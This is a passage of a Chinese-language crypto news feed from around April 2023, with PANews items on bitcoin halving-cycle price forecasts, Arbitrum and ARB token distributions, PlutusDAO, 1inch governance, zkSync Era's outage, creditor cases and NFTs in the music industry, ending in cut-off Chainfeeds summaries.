Myers觉得很美妙的是，这么早就发现比特币的人，他们的个人属性和生活经历一定有着某种独特的组合，从而将他们带到这里。值得思考的是，是什么把你带到这里来学习比特币，而世界的其他多数人仍然认为比特币是一个笑话，而且转瞬即逝。不管是好奇心强，还是不相信现状，或者是接受了来自上天的暗示，你都在这里。 无论如何，如果将比特币的价格历史综合成一个概念趋势，它会是这样的： 比特币面临的挑战之一是质疑声太多。每个人都有自己的看法，但几乎没有人知道他们在谈论什么（记住：你已经是对比特币了解程度排前1%的人）。 最重要的是，价格走势也不断受到干扰。在给定的任何一天、一周或一个月，比特币的价格似乎都可以随机移动——上涨、下跌或横盘整理。这种短期价格走势是由新闻事件、大户的隐蔽行动或大户欺骗尽可能多的小交易者等造成的。然而，每个人都在花时间试图预测短期价格。忘掉它吧，短时间预测没太大意义。 但如果把画面放大到足以看到减半部分，就会看到受干扰下的信号（参见上图）。 现在最重要的是，如果上述关于比特币减半机制的表述是准确的，那现在意味着什么？ 没有什么是完全确定的，但如果Jesse Myers对这种资产的理解是正确的，那么现在是4年周期底部之后的时间窗口，这意味着几件大事： 如果上述预测是正确的，那么明年比特币的价格可能会稳定在3万至4.5万美元之间。没什么特别令人兴奋的，但仍然比今天的价格高很多。然后毫不疑问的，2024年春季减半将在一年多后到来。 在接下来的几个月里，只有当需求大于供给时，价格才会上涨，整个投机泡沫过程将再次上演。Jesse Myers认为在未来两年内，很可能会看到10万美元的比特币，甚至20万美元的比特币。可以肯定的是，比特币热潮还会卷土重来——全世界都在试图弄清楚为什么比特币会再次繁荣起来（同时继续忽视摆在他们面前的致富机会）。只有到那时，你的朋友和家人才会开始考虑购买比特币。  ( 2 min )
    数据：约27亿枚ARB从Arbitrum归属地址转出，此次分配或属于团队和顾问
    PANews 4月1日消息，据Spot On Chain监测数据显示，约27亿枚ARB（约37.2亿美元）从Arbitrum归属地址中转出并分发至145个地址。分发过程通过中间钱包进行，目前仍有417万枚ARB （约576万美元）尚未分配。此前根据Arbitrum公布的代币经济模型显示，初始总供应量的26.94%（26.94 亿枚）会分配给Offchain Labs团队和顾问，此次分配或属于团队和顾问。  ( 1 min )
    治理聚合器PlutusDAO如何成为Layer 2治理黑洞？
    在上周结束的 Arbitrum 空投中 DAO 意外成为了最大赢家，根据 Arbitrum 官方公布的空投细则中显示，共有 137 个 DAO 获得了 ARB 空投，总计约 1.12 亿枚，可见其对去中心化治理的重视。对于希望参与 Arbitrum 生态治理的用户来说，治理聚合器 PlutusDAO 是最佳选择。 (资料来源：Arbitrum DAO Airdrop) PlutusDAO 是 Arbitrum 上原生的治理聚合器，旨在最大化用户的流动性和奖励，同时将使用 veTokens 的项目的治理权聚合到一个 token PLS 上。 PlutusDAO 目前共有两个产品：plsAssets 用于治理聚合，能最大化 veTokens 的流动性和奖励；plvAssets 是为用户最大化奖励和便利而构建的金库产品。 用户将使用 ve 机制的 token 存入 Plustus 中，会被永久锁定为对应的 vetoken，同时 1:1 得到代表治理权和收益权的 plsAsset，Plutus 会在与其合作的 DEX 上创建相应的 plsAsset-Asset 流动池。通过 plsAssets ，用户可以参与 Arbitrum 上的 defi 项目治理并获得额外收益，同时也能随时退出流动性。 目前 Plutus 共支持 5 种 plsAsset 的转换：ARB、RDNT、DPX、SPA、JONES，未来还将持续引入更多的 plsAsset。 自上线以来，通过 Plutus 生成的 vetoken 份额持续上涨，目前 Plutus 已经拥有了 49.5% 的 DPX 治理权，45.3%的 SPA 治理权，91.9% 的 JONES SLP 份额，超过 9M 枚 ARB 转换为了 plsARB，目前所有 plsAssets 的 MCP 为 $72.7M。 (资料来源：Dune) (资料来源：Dune) 质押 plsAsset 能与项目本身的 vetoken 一样能获得Bribes+fee 奖励，为plsAsset-Asset 池子提供流动性还能获得 PLS 激励。不过从 plsAsset 转换回 Asset 的汇率取决于市场需求，并不是1:1 锚定的，从目前$40M TVL 和 $19.1M 的 plsAsset TVL 可估算出 plsAsset 转换回 Asset 的平均汇率为0.914。 (资料来源：PlutusDAO 官网) plvGLP 是为 GMX 的 GLP 创建的自动复合金库，用户将 GLP 存入 Plutus 会收到 plvGLP，链下机器人每 8 小时会自动复合一次收益并存入其基础的 GLP 头寸中，从而使 plvGLP 不断升值，目前 plvGLP：GLP 的兑换比例为 1:1.127。存入GLP 不收取费用，退出需要 2% 的手续费，1.5% 给 Plutus，0.5% 回到金库并分配给 plvGLP 持有者。目前 plvGLP 的 TVL 为 $5.8M ，APR 为 46%。 (资料来源：Dune) Plutus 会对 plsAsset 和 plvAsset 收取其收益率的 10%-20% 作为费用。 (资料来源：Plutus Docs) 这些费用会全部进入Plutus treasury 并 100% 分配给 PLS 质押者。目前共有 8.5M 枚 PLS处于质押中，质押率为 35.7%，当前纪元质押 APR 约为 10.6%。截至 3 月 30 日，质押的 PLS 累计已捕获 $6M 的奖励。 (资料来源：Dune) Plustus V2 版本是对经济模型的一次重大更新，通过引入 bPLS 机制确保 token 激励与平台使用完全一致，为长期用户创造一个良性的、可持续的循环，同时还会新增内置的贿赂板块。据官方公布，V2 版本将在不久之后启动。 bPLS 代表了用户在贿赂、协议费用、PLS 治理中的投票权、费用折扣和生态系统内提升能力的份额，bPLS 由以下 4 个部分组成： vlPLS：质押中的 PLS； vlPLS-WETH LP； bbPLS：类似 GMX 中的乘数积分，可通过 vlPLS、vlPLS-WETH LP、esPLS 累积，当结束质押时会按比例销毁； esPLS：托管中的 PLS，在 12 个月内线性归属为 PLS，未来的 PLS 将以 80%esPLS+20%PLS 的形式排放； 简单来说就是锁定的 PLS 、vlPLS-wETH LP、esPLS 份额越大，锁定的时间越长，从贿赂和协议费用收入中获得分配的比例也越高。 (资料来源：Plutus Docs) PlutusDAO 通过引入面向 vetoken 的 Liquid Staking Derivatives：plsAsset，实现了用户和协议的双赢。对于用户来说通过 Plutus 质押 token 能获得额外的收益并拥有随时退出的流动性；对于协议来说，Plutus 能引入大量的质押，减少排放对 token price 的稀释。目前 Plutus 正在致力于将 plsAssets 扩展到借贷协议中，预计 plsAssets 的流动性将进一步提升。 PlutusDAO 将 Arbitrum 上的一系列原生协议的治理权聚合到了 PLS 上，将从其他不断增长的协议中赚取费用、获得贿赂。V2 版本将引入内置的贿赂板块，加上经济模型的改良，能够为长期用户创造一个良性的、可持续的循环。从 Convex 在 Curve war 中取得的成功不难看出，未来随着 Arbitrum 生态的增长，Plutus 的发展潜力是巨大的，或将成为 Layer 2 的治理黑洞。  ( 3 min )
    1inch治理团队成员提议修改DAO治理流程，意在削弱投资者等内部人士的投票权
    PANews 4月1日消息，1inch治理团队成员Jordan Reindl提议修改1inch DAO治理流程，包括从1inch Snapshot空间中删除st1INCH(v1) 投票和委托策略；更改st1INCH(v2) 投票和委托策略以使用Unicorn Power而不是代币余额；将现有的20%加权v1INCH策略替换为模拟UnicornPower权力衰减的策略，也即完全归属且未认领的v1INCH将大大削弱投票权，在其归属合约开始时的v1INCH与在2年锁定期开始时的st1INCH具有完全1:1的投票平等权利；将Snapshot提案创建要求提高到需要10万投票权重（当前为2.5万）。 目前该提案还处于讨论阶段。据悉，拟议的治理修改策略将大大减少核心贡献者、投资者和其他内部人士积累的投票权。  ( 1 min )
    贝宝金融债权人保护延期请求被搁置
    PANews 4月1日消息，据彭博社报道，贝宝金融（Babel Finance）联合创始人Flex Yang表示，在债权人Deribit提出反对意见后，就Babel Finance请求延长债权人保护的请求，新加坡法院拒绝做出更明确的决定。Flex Yang称，法院准许临时暂停，直到4月17日 Babel Finance的债权人保护请求的下一次听证会日期。  ( 1 min )
    zkSync Era主网已恢复出块
    PANews 4月1日消息，zkSync Era区块链浏览器显示，zkSync Era主网目前已恢复出块。此前zkSync Era主网疑似宕机，4小时未出块。  ( 1 min )
    CoinFLEX：将于下周开始向债权人分配rvUSD、股权和USDT/USDC等资产
    PANews 4月1日消息，据官方消息，CoinFLEX表示将于下周开始根据批准的重组条款向债权人分配相关资产，所有LUSD交易将于北京时间2023年4月1日20时左右永久停止。为债权人发放的资产将包括rvUSD、股权以及USDT/USDC。预计将于下周初开始支付rvUSD部分，随后将开始发放股权，USDC和USDT预计将于下周末发放。股权发放将需要债权人提交额外的KYC文件，包括护照和地址证明。未能提供所需KYC信息的债权人将无法获得相应股权。此外，债权人需要在6个月时间内遵守这些KYC要求，否则他们的股权可能被没收。  ( 1 min )
    亚马逊NFT市场将推出Beeple和Pudgy Penguins创作者的数字收藏品
    PANews 4月1日消息，据Blockworks报道，据知情人士透露，亚马逊将在NFT市场推出知名加密创作者的数字收藏品，其中包括Beeple和Pudgy Penguins创作者。根据一份保密服务协议条款，亚马逊将在其控制的私人和许可区块链上运行NFT市场。另一份机密文件证实了NFT市场将使用私人区块链，并补充说亚马逊网络服务(AWS)是其主要贡献者。据多位消息人士透露，亚马逊已经为NFT市场的推出签署了一些保密合作伙伴关系。除了Beeple和创作者创造者外，亚马逊向产品合作伙伴透露，还将与Artifact Labs和Proof Collective达成合作。  ( 1 min )
    zkSync Era主网疑似宕机，3小时未出块
    PANews 4月1日消息，zkSync Era区块链浏览器显示，zkSync Era主网疑似宕机，最新出块发生在3小时前。提交给以太坊的最新批次为#5606。  ( 1 min )
    数据：比特币非零地址创历史新高
    PANews 4月1日消息，Glassnode数据显示，比特币非零地址达到45,408,435个，创历史新高。  ( 1 min )
    推特向全球社区开放大部分源代码
    PANews 4月1日消息，据官方消息，推特向全球社区开放大部分源代码，已公开GitHub上两个新的存储库（main repo、ml repo），其中包括推荐算法，但不包含为广告推荐提供支持的代码。推特还表示，已采取额外措施来确保用户的安全和隐私，因此决定不发布与推特算法相关的训练数据或模型权重。  ( 1 min )
    Arbitrum发起AIP-1提案，拟引入ArbitrumDAO
    PANews 4月1日消息，据Blockworks报道，Arbitrum社区已发起Arbitrum Improvement Proposal 1 (AIP-1)提案，拟引入一个名为ArbitrumDAO的去中心化自治组织结构。该基金会将设在开曼群岛，将负责Arbitrum生态系统的成长和发展。该提案背后实体Lemma还将申请7.5亿枚ARB代币（价值约超10亿美元）资金拨款。Lemma表示，根据ArbitrumDAO章程中规定的AIP流程，ArbitrumDAO将对DAO金库拥有直接的链上治理权力。尽管该提案目前尚未获得批准，但已经创建了一个地址名为“Arbitrum DAO Treasury2”的多重签名钱包，并且收到近7亿枚ARB代币，Arbitrum基金会的一位代表证实，该地址是行政预算钱包。该提案已在Snapshot上开放投票，目前支持比例接近90%，投票将于4月3日结束。  ( 1 min )
    一周精选丨PANews PARTY AWARD 2023年度榜单正式揭晓；币安突遭CFTC起诉；2023年Q1将收官，比特币涨超70%
    PANews编者按：PANews精选了一周的优质内容，帮助大家利用周末时间查漏补缺，点击标题即可阅读。PANews已上线Hong Kong Web3 Festival 2023活动汇总（持续更新），点此查看更多活动日程 12项权威年度奖项，77家入榜，PANews PARTY AWARD 2023年度榜单正式揭晓 经过长达近2个月的数据初选、公开征集、线上投票及专业评审团评议后，最终有67个项目/企业和10位个人获得“PARTY AWARD 2023”12项权威年度奖项。 香港新政送春风，大湾区Web3专家共议大潮如何起东方 3月24日下午，由WestLabs和PANews联合主办的“潮起东方·大湾区WEB3峰会”在深圳顺利召开。 时代巨变，诸神觉醒，网络国家和主权个人正兴起 人类将在历史上第一次脱离物理限制，在数字世界里实现永生。 银行危机爆发，比特币“V型反转”，加密VC们对今年市场行情和叙事都有什么看法？ 硅谷银行暴雷，美联储出手。随后比特币单日暴力拉升20%，突如其来的上涨打乱了许多投资者的阵脚，在懊悔踏空之余，大家又开始思考：比特币今年还会上涨吗？ 猎杀时刻：继狙击印度首富之后，做空“新星”盯上加密市场 “排雷”是今年加密市场的重要主题。 PAData：本月DEX交易量环比增长72%，衍生品单月交易量创2022年来新高 本月DeFi市场出现回暖迹象，DEX的交易量有所回升，尤其是衍生品类交易量增长明显。 美CFTC细数几宗罪起诉币安和赵长鹏，或开出巨额罚单，业内如何看待？ 美CFTC和包括司法部在内的其他联邦机构多年来一直在调查币安，这起诉讼是过去一年加密行业遭受的最新一起监管打击。 加密“无间道”，CFTC向币安发难背后或与FTX有染？ CFTC对币安的监管行动或与SBF及FTX有着一定联系？ 视频｜快速了解，CFTC为何起诉币安！CZ在劫难逃，传闻与FTX相关？ CFTC来势汹汹起诉币安和CZ，细数数条罪名，币安为何会被起诉？CZ又是否在劫难逃！？更有行业人士猜测币安被CFTC调查，背后有FTX的推波，视频带你快速了解！ PA图说 | 一图看懂美CFTC对币安的指控和CZ的回应 美CFTC细数币安违反监管规定的七宗罪并进行起诉，币安做何回应？ 更多CFTC起诉币安内容，请移步至专题：币安突遭美国CFTC起诉，CZ的“4”回应还管用吗？ zkSync Era启动主网，详解独特架构和生态应用 本文PANews将为你详解zkSync Era主网现状，及其生态已经上线的应用。 错过了 OP、ARB？别急，还有这 10 个热门空投项目 即将到来的所有热门空投项目以及交互策略 以太坊生态创新不断，为什么EigenLayer值得特别关注？ 引入二次质押叙事的EigenLayer有着很广阔的前景。 一览Base生态基金四大支持方向，市场的下一个趋势？ 在宣布推出Base生态系统基金的三周后，该基金于3月26日公布了支持的四大方向，包括稳定币、DeFi、链上声誉平台以及链上限价订单簿（LOB）交易平台。这四个方向具体包含哪些？本文带你一探究竟。 MystenLabs与FTX债务人123页法庭文件要点总结：我们可以获得SUI哪些关键信息？ 长达123页的文件议，详细还原了2022年8月FTX 投资 MystenLabs 的情况。 应用链进展如何？多维度对比Polygon Supernets和Avalanche Subnets Polygon和Avalanche双方都对自己的应用链解决方案Supernets和Subnets投入了很多资源，现在它们发展如何呢。 Render Network为何迁往Solana，并构建铸造和销毁模型 3月21日，分布式渲染项目Render Network宣布在Solana网络上构建BME模型（Burn and Mint Equilibrium，铸造和销毁模型），以回应社区对从Polygon网络转向Solana的提案。 利益冲突、项目停滞，ROOK DAO要解散？ DAO治理因公开、公平而备受加密行业推崇，但作为首批MEV提取解决方案之一的Rook Protocol出现了治理危机，社区正就是否解散ROOK DAO展开了讨论，本文带你了解其中原委。 Messari报告：深度解读DAO工作组的资金分配现状 任何形式的组织都会面临资源分配的问题，那么DAO在治理过程中是如何分配的？近日，Messari发布了一篇报告，从10个DAO的预算支付情况入手，解读了DAO在2022年如何以及在何处分配资源。 胖企鹅CEO分享NFT商业模式设计：如何打造Web3顶流IP？ 胖企鹅的 playbook：ToB 合作先行，ToC 提升品牌影响力，最终提升直接销售占比。 深度剖析像素风NFT发展趋势：为何会成为市场主要潮流？ 为什么像素风NFT频频出圈？解析像素风艺术潮流发展。 解读NFT发展最新趋势：如何进行建立优质投资策略？ NFT市场是一个快速发展的数字资产市场，其市场规模不断扩大，应用场景也变得更加多元化。然而，NFT市场的价值波动性相对较大，投资者需要谨慎评估风险并选择合适的投资策略。 半年后看，Azuki提出的PBT方案是NFT新叙事还是伪命题？ Azuki去年10月份推出的PBT标准就是一种把现实资产映射到链上的解决方案，虽然推出至今没有多大起色，但我们仍认为这种方案很有前景。 解读以太坊POS工作原理：Epoch、Slot 与信标区块 使用权益证明的以太坊的独特性在于参与者数量的最大化设计。它允许成百上千和成千上万的验证者活跃地参与决策过程。在笔者撰文时已经有大约 50 万的验证者实体（从协议的角度而言）在活跃地参与这个过程。 深入了解Starknet编程语言Cairo 1.0：设计原理、存在问题及改进之处 Cairo 是一个图灵完备的 ZK 友好高级语言，也是以太坊 L2-Starknet 的合约开发语言，它正在进行改版升级。 一文全解StarkNet 技术原理及生态现状 随着ARB空投带来的财富效应，L2 Summer呼之欲出。本文将介绍 StarkNet 及其生态内重点项目。 zkEVM系列第一篇：Polygon zkEVM的整体架构和交易执行流程 本文是Polygon zkEVM系列文章的第一篇，简要阐述了Polygon zkEVM的整体架构和交易执行流程，并且分析了Polygon zkEVM是如何实现计算扩容并同时继承以太坊的安全性的。 彭博社：交通银行、中国银行、浦发银行的香港分行或考虑向在港加密公司提供服务 马斯克等千名科技人士发公开信，呼吁暂停训练比GPT-4更强大的AI系统 比特小鹿将上市纳斯达克，估值约11.8亿美元 Microstrategy再次购买6455个比特币 数据：美国政府扣押的比特币价值达56亿美元，约占流通供应量的1.06% 蚂蚁集团：于隽曾是外派至A&T Capital的工作人员，目前已办结离职手续 彭博社：香港监管机构正召集加密公司和银行之间的会议，以促该行业融资 公链Sui推出永久测试网，可在主网启动后继续运行 质押协议开发商EigenLabs完成5000万美元A轮融资，Blockchain Capital领投 Circle：USDC储备80%为短期美债，20%为现金存款且大部分存于GSIB银行  ( 2 min )
    DeFi借贷协议Granary Finance完成超过500万美元融资
    PANews 4月1日消息，据Blockworks报道，DeFi借贷协议Granary Finance在不到两周时间里通过社区融资筹集了超过500万美元的稳定币USDC。新资金将用于Granary V2开发以及即将推出的Granary治理代币相关支持工作，为Web3金融用户提供无摩擦借贷体验。  ( 1 min )
    NFT到底可以为音乐行业做什么？
    撰文：DARDANIA.BNB 翻译：@wenchuan 关键点：   垄断行业的问题 事实证明，音乐产业是一台高效的创收机器，每年能够获得超过 600 亿美元的综合收入。2021 年，录制音乐的全球收入为 259 亿美元。流媒体占总收入的 65%，11% 来自特许权使用费和电影、电视节目和广告的音乐授权，其余来自实体销售。 该行业的第二大收入来源是现场演出，通常达到接近录制音乐的数字（2017 年为 230 亿美元，这一收入来源受到新冠疫情的高度影响）。出版是第三个收入来源（2017 年为 90 亿美元）。 音乐产业也明确了其适应时代和新技术的能力，根据消费者的偏好采取新的做法：从实体 CD 或磁带的消费，经过 iTunes 和 iPod 统治市场时的下载时期（2004 - 2014)，转向流媒体（2015 年至今）和现场演出的时代。 但是，闪闪发光的东西不是金子。整个音乐行业，从录音到发行，都被少数玩家所垄断。仅仅三个唱片公司，环球音乐集团 (32%)、索尼音乐娱乐 (20%) 和华纳音乐集团 (16%)，就占据了惊人的 68% 的音乐录制市场。同样，这些公司也占有整个出版市场近 60% 的份额，剩下的都在独立公司手中。通过流媒体发行的情况也是如此，82% 的市场被五家公司占领：Spotify (32%)，苹果音乐（16%），亚马逊 (13%)，腾讯音乐 (13%)，以及谷歌 (8%)。 这种寡头垄断的局面，意味着行业丰厚的收入没有得到平等的分配。上述公司对行业有极大的控制权，这有时会对被迫接受不公平收入分配的艺术家造成负面影响。 尽管世界上估计有超过 500 万名音乐家，但很少有人能从他们的创作中获得有意义的收入。目前的系统意味着收入的 80% 以上都给了唱片公司，只留下了所产生收入的 12% 给艺术家（扣除其他中介机构后）。 流媒体系统也在高度攫取艺术家的价值。以 Spotify 为例，每条流媒体只需支付 0.003 美元，这种模式的结果是，去年只有不到 10,000 名艺术家能够通过该平台赚取超过 10 万美元的收入。对于在上次报告期内的收入超过 110 亿美元的领先流媒体平台（为音乐产业创造最多收入的产品）而言，这个数字似乎有些低。这种不平等的制度不仅仅是本文作者的个人解读，而且已经得到了美国版权保护费委员会等组织的认可。 Web3 音乐产业旨在打破这种局面，解决反复出现的收入分配不均的问题。音乐 NFT 试图通过消除在目前模式中蚕食大部分收入的中间商，使版税和其他知识产权的分配更加公平。艺术家可以在 NFT 市场上直接向粉丝出售他们的作品，并且收取他们的作品在二级市场每一次转售的版税。 由于底层技术的原因， NFT 在音乐行业的应用可能是完全革命性的。那些版权所有者的主要问题之一是要知道他们的音乐在何时何地被播放并对其收费。借助区块链技术提供的可追溯性，如果作品只作为 NFT 进行销售，这个问题很快就会得到解决。想象一下，任何时候你在某种程度上拥有的歌曲在世界任何地方被播放或使用，该活动都会被记录在链上，并且你自动获得这一活动所产生的收入的比例分成。尽管目前的状况离这种情况还很远，但其可能性是非常大的。 已经实现的是，许多艺术家可以在没有中间商的情况下直接推销他们的 NFT ，并利用这一机制来筹集资金，获得 100% 的首次销售收入，以及后续在二级市场销售的固定比例收入。同时，购买它的用户可以表达他们对艺术家的初步支持，希望随着时间的推移得到重估。这些作品可以在 Catalog 这样拥有广泛范围的音乐 NFT 的市场上出售。音乐 NFT 生态系统相当广泛，从市场到 Web3 流媒体供应商，贯穿 Web3 社区、版税平台或票务。 NFT 能够通过音乐作品为艺术家和用户创造新的收入来源。Corite 或 Royal 有创新的方法，用户可以购买部分以 NFT 形式发布的专辑或歌曲，每当该作品在 Spotify 上播放时，他们都可以获得相应比例的收入（版税）。像 Royal 的 Chainsmokers 或者是 Corite 的 Alan Walker 这样的艺术家已经通过这种方式发布了一首歌。Corite 允许艺术家通过相信他们的粉丝获得资金，以换取艺术家流媒体的经济曝光。 NFT 也可以作为一种不同的方式来销售音乐会、视听作品或独特收藏品的门票或 VIP 优惠。 音乐 NFT 是艺术家之间合作的一个强有力的作品。像 Melos Studio 这样的平台允许音乐家进行合作，同时成为这些作品的所有者，这些作品之后可以出售或由不同的用户持有。Melos 拥有 David Bowie 或 Freddy Mercury 等艺术家未发表的某些作品，并允许其平台上的不同音乐家使用这些作品进行创作。这类模式对未发行歌曲的版权持有人来说可能非常有趣。同时，它试图创造一个艺术家社区，相互支持，利于音乐创作，同时接受其作品的传播。将一个合作平台整合成一个可轻松销售、易变现的产品，也许就是 NFT 最大的好处之一，也是 Web3 音乐产业最有希望的特征之一。 音乐 NFT 是艺术家之间合作的一个强有力的作品。像 Melos Studio 这样的平台允许音乐家进行合作，同时成为这些作品的所有者，这些作品之后可以出售或由不同的用户持有。Melos 拥有 David Bowie 或 Freddy Mercury 等艺术家未发表的某些作品，并允许其平台上的不同音乐家使用这些作品进行创作。这类模式对未发行歌曲的版权持有人来说可能非常有趣。同时，它试图创造一个艺术家社区，相互支持，利于音乐创作，同时接受其作品的传播。将一个合作平台整合成一个可轻松销售、易变现的产品，也许就是 NFT 最大的好处之一，也是 Web3 音乐产业最有希望的特征之一。 在音乐产业中存在极少数相关的参与者，这意味着发行也是高度集中的。发行对任何艺术家来说都是至关重要的，因为他们要尽可能容易地接触到最大的歌迷群体，而这些人通常会寻找具有最大分销能力的公司，因为它们所保证的网络效应肯定是有益的。我们可以把 Spotify 作为一个案例来研究。 在 2022 年的第一季度，Spotify 的月度活跃用户数 (MAU) 超过了 4.22 亿。Spotify 之所以能吸引这么多用户，是因为它统一了音乐的发行和全球供应。如果你正在寻找一位艺术家，他很可能会在 Spotify 上出现。因此，Spotify 庞大的听众群体对任何艺术家都具有极大吸引力。该平台为用户提供几乎无限的音乐目录，而艺术家则获得了统一传播的所有可能的好处（知名度、网络效应、改进的触达能力、算法推荐）。 这不仅适用于流媒体，也同样适用于整个行业。与大公司签约可以打开大门，例如，作为著名团体的支持艺术家或其他类型的合作将明显增加任何新艺术家的影响力。今天的音乐所有者实际上控制了所有的音乐发行渠道。 相反，Web3 上的音乐发行也许是其最大的弱点（阿喀琉斯之踵）。音乐的发行和供应是高度分散的，有太多的市场，特定的协议和流媒体供应商的目录比他们的 Web2 竞争对手小得多。这既影响了艺术家，阻碍了他们作品的有效发行，也影响了用户，恶化了他们的用户体验。这种情况形成了一个恶性循环，导致用户们怀疑是否要迈向 Web3，因为很难找到他们喜欢的艺术家，而随着粉丝或用户数量的减少，艺术家们也不会迈向 Web3。 在一个分散的发行市场中，艺术家的知名度要低得多，这对成熟的艺术家没有吸引力。如果没有成熟的艺术家，大量的用户就很难进入 Web3，而没有用户，独立艺术家就很难起步。 我们在音乐 NFT 领域观察到的另一个主要问题是，大多数协议都忘记了用户。目前的大多数模式似乎都是以创作者为中心的，而没有为用户提供多少东西。诚然，目前音乐艺术家的收入动力从多个角度看都是过时的，但任何商业模式都需要用户（市场的需求方），他们通过消费支持这个行业。 目前的音乐 NFT 格局侧重于解决音乐创作者的最大痛点，无论是试图用新的版税方法来优化收入模式，承诺更高的流媒体报酬，还是简单地产生额外的收入层（例如发布上一张专辑的 NFT 或具有独特的作品）。我们所看到的大多数协议都为用户提供了一些可能的新收入来源，但它们更注重于提供文化对象（粉丝支持工具），但它们没有解决用户体验上的摩擦（例如，分散的报价）。 诚然，某些协议试图通过真正创新的版税支付方式，让用户参与到他们支持的艺术家的利益中。但这里出现了另外两个问题：NFT 并不真正代表知识产权（IP），所以持有 NFT 的用户不能像唱片公司那样从「音乐所有权」中获益；并且，大多数版税分配模式使用不稳定的代币，由于目前的市场成熟度，这使得它们很容易成为投机的猎物。 我们认为，许多音乐 NFT 项目的代币经济构成了协议和行业可扩展性的另一个障碍。大多数项目试图通过铸造自己的代币来奖励艺术家和用户，遵循类似于近年来在整个加密行业传播的机制。问题是，这些代币极不稳定，这使得长期内很难形成任何稳定的收入模式。这可能导致用户和艺术家不信任这种模式。一个替代方案是引入稳定币来支付特定服务（如支付流媒体订阅）和版税。在给行业带来稳定性的同时，这有利于预测音乐协议财务模型的预测以及艺术家和用户的收入；这对任何新生行业来说都是至关重要的特征。 另一方面，许多代币经济与该行业的可扩展性不兼容。我们已经看到了每条流支付 0.30 美元的协议（是 Spotify 支付的 100 多倍），这种模式可能适用于几百个用户，但对于收听率最高的歌曲达到 30 亿次播放的情况来说，它似乎无法同样适用。 不良的代币经济导致不良的收入模式，这阻碍了 Web3 音乐的采用和可扩展性。尽管需要更公平地分配版税，并结合建立新的再分配模式，要想在财务上实现这一目标，一个健全的收入模式至关重要。我们今天看到的是，Web3 协议承诺每条流支付的费用是 Web2 协议的 100 倍，但却没有任何经证实的模式在经济上支持这种理想的分配。这些脆弱的收入模式导致了许多协议的消亡。 设计创新的收入模式，使艺术家和创作者获得更高的收入分配，同时保持盈利，这仍然取决于目前的协议和那些将要出现的协议。收入模式应该允许 Web3 音乐产业的可扩展性，而不仅仅只是用作快速引导用户的工具。也许，通过观察 Web3 中的成功经验，我们可以增加 Web3 允许的功能去得到一个可以发挥作用的机制。 目前，大多数使用 NFT 的音乐协议已经设法为艺术家创造了新的收入来源。这些收入是在他们通过唱片公司或流媒体供应商的传统模式获得的收入基础上获得的，以这种方式，他们推出了独特的 NFT，为他们带来了新的收入来源。问题是，这既没有改变目前的范式以及对许多艺术家来说不公平的收入分配问题，也没有给购买 NFT 的用户带来很大好处，除了显示他们支持或者获得某种流媒体或销售曝光。 为了使 Web3 给音乐产业带来的好处得以实现，从法律角度看，知识产权状况必须改变。目前，即使是最先进的 NFT 模式也不包含任何形式的知识产权。因此，该行业最大的问题，即权利的不平等分配，并不能完全用 NFT 解决。即使一个用户拥有他最喜欢的艺术家的专辑的一部分，也不可能获得等量的广告收入。这对那些在纯粹的流媒体之外产生大量收入的知名艺术家来说可能是个问题，但对那些只想筹集资金开始其艺术生涯的独立艺术家来说则不是。可以肯定的是，为了释放 Web3 颠覆音乐产业的潜力，需要在法律上大力关注 NFT 战略。公链、协议和艺术家必须集中精力解决 NFT 的法律状况，这样才能真正解决知识产权的不平等分配问题。 Web3 还可以考虑引入传统音乐品牌，或与流媒体供应商合作，共同提供最佳的用户体验，同时提高艺术家的收入。区块链技术可以提高音乐的可追溯性，从而增加版权收入，而已经建立的品牌可以带来用户、艺术家和专有技术。 结论 音乐产业是最有利可图的文化产业之一，部分原因是它能够迅速适应市场偏好和技术变化。 然而，在录音、现场演出以及发行方面，它被少部分群体高度垄断。 这种寡头垄断产生了一个不平等的收入分配系统，艺术家通常只保留他们创造收入的 12%。没有多少艺术家能够从他们的作品中获得丰厚的收入。 NFT 技术，尤其是智能合约在版税方面的应用，具有颠覆行业的能力。 NFT 已经证明了它们成为艺术家之间优化协作工具的能力。特别有趣的是，使用已成名和已不存在的艺术家的未发布的歌曲作为基础，这种方法已经被 Melos Studio 等协议所遵循。 音乐 NFT 也是独立艺术家筹集资金和产生新收入来源的有力渠道，也是粉丝支持的良好载体。 分散化的发行、健全收入模式的缺失以及许多项目的代币经济是可扩展性和大规模采用的主要障碍。 Web3 音乐行业的主要长期挑战是知识产权和版权的法律处理，这使得 NFT 难以作为持有发行和出版权的单一载体。 NFT 可以成为新的 SoundCloud，并取代这个平台成为独立艺术家的参考，这要归功于它们所允许的货币化、可共存性和协作程度。 一些建议是，在商业模式和代币经济学中使用稳定币来保证收入来源的稳定，关注用户吸引力，与成熟的音乐行业参与者合作，研究新的版税流媒体模式和版权。 凭借知识产权方面的功能和当前的法律状况，最大的市场机会出现在零售和独立艺术家身上，要么作为货币化的来源，要么作为一种协作的工具。  ( 3 min )

  • Open

    【英文】以太坊生态周报：主网影子分叉、MEV-Boost、Polygon zkEVM......
    Chainfeeds 导读： 速览以太坊生态系统、开发及应用一周重要讯息。本周重点内容：以太坊上海升级最后一个主网影子分叉计划于下周进行；MEV-Boost 发布 V1.5.0 版本；Polygon zkEVM 主网 Beta 版本已正式上线；ConsenSys zkEVM 向所有开发人员、用户或协议开放测试。 文章来源： https://weekinethereumnews.com/week-in-ethereum-news-april-1-2023/ 文章作者： abcoathup.eth  ( 8 min )
    盘点 11 家 ETHGlobal「Scaling Ethereum 2023」黑客松决赛项目
    Chainfeeds 导读： 昨日由 ETHGlobal 主办的「Scaling Ethereum 2023 」主题黑客松正式落幕。本届黑客松最终筛选出了 11 家决赛入围项目，涉及了钱包、DeFi、游戏、基础设施等多个领域。Odaily 星球日报就带大家一起来了解下这 11 家入围项目。 文章来源： https://www.odaily.news/post/5186166 文章作者： Azuma 观点： Azuma：1）Snarky Monsters：「宝可梦」风格链上游戏，最大的特点是最大限度的上链。为了解决运行问题，Snarky Monsters 选择了将计算放在链下执行，然后再通过 zk 证明在链上进行验证；2）ZKlinks：基于零知识证明创建的的推荐链接跟踪系统，具有隐私保护、安全及奖励更公平等优势；3）Opclave：无需助记词，且支持 Apple Face-ID 与 Touch-ID 的智能合约钱包；4）Polynote：基于 Web3 数据库 Polybase 构建的隐私型文档工具，其文本编辑器支持图片上传、重要文本凸显、设置标题、代码块等多种功能。 内容来源 Azuma：5）SearchOS：Web3 搜索引擎，允许用户轻松地跨多个链与多个应用程序进行交互；6）CFD DEX：聚焦于差价合约（CFD）领域的去中心化交易所，基于订单簿模型，因此需要选择 gas 费较低的 Layer 1 或者 Layer 2 网络；7）Novusys：融合了社会签名功能（利用 auth 0 